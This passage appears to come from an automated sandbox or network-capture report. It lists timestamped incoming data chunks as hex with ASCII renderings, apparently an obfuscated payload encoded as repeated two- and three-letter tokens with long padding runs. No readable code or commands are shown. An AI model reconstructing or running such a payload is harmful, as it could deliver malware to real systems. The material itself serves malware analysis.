6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20 Data Ascii: x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY x RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x kY x Yx x kR x Kk x ko x kt x
2021-10-29 18:30:03 UTC	2655	IN	Data Raw: 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20 Data Ascii: kQ x kt x ko x kO x QQ x OxQ x Yt x OxR x Qx x kk x tk x Ooo x kK x kt x kR x OOR x Qk x YO x tK x YE x RY x tY x RQ x RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x Ooo x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x OOt x Qt x kk x ko x YE x kK x
2021-10-29 18:30:03 UTC	2657	IN	Data Raw: 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78 Data Ascii: kR x ko x OOo x Qk x kt x kY x RY x RY x tE x tE x RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x OOQ x RY x RY x kR x RY x tx x to x Qx x kk x ko x RQ x QQ x OxQ x Oxk x Yx x Qx x kR x
2021-10-29 18:30:03 UTC	2658	IN	Data Raw: 78 20 6b 6f 20 78 20 4b 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78 Data Ascii: x ko x KQ x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x kY x Rt x kK x tO x Yt x OxR x Qt x KQ x tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x RY x Oxt x Oox x OOk x kQ x Yx x tx
2021-10-29 18:30:03 UTC	2659	IN	Data Raw: 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 4b 51 20 78 20 4f 78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 Data Ascii: OoO x Qk x Yx x Qx x OOo x Qk x tO x kR x kK x Oxx x to x tK x OOo x Qk x OxQ x Oxx x kk x RY x RY x Rt x OOE x RY x KQ x Oxx x OoO x Qt x kk x ko x Oxk x kY x to x tK x OOo x Oxx x OxQ x tx x Kk x Qx x kR x RR x OoO x Qk x Yx x Qx x OOo x Qk x tO x kR x
2021-10-29 18:30:03 UTC	2661	IN	Data Raw: 78 20 52 59 20 78 20 4f 6f 6f 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 52 Data Ascii: x RY x Ooo x tt x Oxk x tk x OOt x kQ x kk x RR x Ooo x Qt x tO x Yt x Kk x RY x RY x RR x OOE x RY x RQ x tk x OoO x Qx x kt x tx x Kk x Qx x kR x tK x Oxk x Qk x kt x Yt x Kk x Qx x kR x ko x OOO x QQ x OxQ x kR x OxK x Qx x RY x RY x RY x OOE x RY x RR
2021-10-29 18:30:03 UTC	2662	IN	Data Raw: 20 4f 4f 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 4f 78 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f Data Ascii: OOY x RY x RY x RR x tk x RY x Oxk x tk x Oxk x Oxx x RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OxE x Rt x Yt x RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x Ooo x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x Yx x kR x Kk x kY x YO x Oxk x O
2021-10-29 18:30:03 UTC	2663	IN	Data Raw: 20 74 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20 78 20 6b 74 20 78 20 59 45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 74 6b 20 78 20 Data Ascii: tk x RY x RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OOo x Qk x OOx x kO x RY x RY x kx x YR x RY x ko x Yx x kR x Kk x kO x Yx x Oox x OOo x Qx x kt x YE x Kk x kY x OxQ x kR x OxR x Oxx x RY x RR x Oxx x RY x kY x Oxx x Oxk x Oxx x tx x tk x
2021-10-29 18:30:03 UTC	2665	IN	Data Raw: 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 51 78 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: t x kt x YE x Oxt x Qk x YO x QQ x RY x OoO x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x Oxx x RY x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x OxQ x kR x OxR x Oxx x RY x RY x RY x
2021-10-29 18:30:03 UTC	2666	IN	Data Raw: 78 20 6b 6f 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 Data Ascii: x ko x OxQ x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Oxx x kY x Oxk x Kk x Qx x kt x KQ x Rk x Qk x YO x kR x OOt x Oxx x RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO x kQ x kk x tK x Oxk x Qk x
2021-10-29 18:30:03 UTC	2667	IN	Data Raw: 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20 78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 4f 78 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 Data Ascii: t x tx x Kk x Qx x kY x ko x OOo x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x OOQ x RY x RY x OoO x OOQ x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OOo x Qk x tO x ko x kk x Qt x kt x YE x Oxt x Qk x YO x Oxx x Ooo x RY x
2021-10-29 18:30:03 UTC	2669	IN	Data Raw: 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78 20 6b 6b 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b 45 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 6f 4f 20 78 Data Ascii: x RY x Oxk x tk x Oxk x Oxx x tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OxE x RY x RY x Qt x OOQ x tx x to x Qx x kk x ko x RQ x Qx x kk x Qx x OOo x kQ x Yx x kR x Rk x kQ x kk x RR x Ooo x RY x RQ x Oxx x RQ x kE x kK x tt x OoO x
2021-10-29 18:30:03 UTC	2670	IN	Data Raw: 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4b 6b 20 78 20 6b 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 6b 59 20 78 20 4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x kY x OxQ x kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kY x Yx x kR x OoO x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x OxQ x ko x OOY x Qx x kO x RY x RY x
2021-10-29 18:30:03 UTC	2671	IN	Data Raw: 6f 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b 20 78 20 4f 78 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20 Data Ascii: o x OxQ x Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OOO x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR x Oxx x kk x ko x Oxk x ko x kk x OxK x kk x RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x tx x OxO x tO x kR x OxR
2021-10-29 18:30:03 UTC	2673	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:30:03 UTC	2674	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x to x OxE x RY x RY x RY x Rt x
2021-10-29 18:30:03 UTC	2675	IN	Data Raw: 51 20 78 20 59 52 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 6f Data Ascii: Q x YR x kK x tt x OOQ x OOY x Ooo x tR x Ooo x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt x tR x Rt x OxK x OOO x OOK x Oo
2021-10-29 18:30:03 UTC	2677	IN	Data Raw: 78 20 4b 45 20 78 20 4f 4f 52 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 59 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 4f 78 59 20 Data Ascii: x KE x OOR x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x YK x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK x OxQ x YK x OOt x YY x OxY
2021-10-29 18:30:03 UTC	2678	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:30:03 UTC	2679	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x R
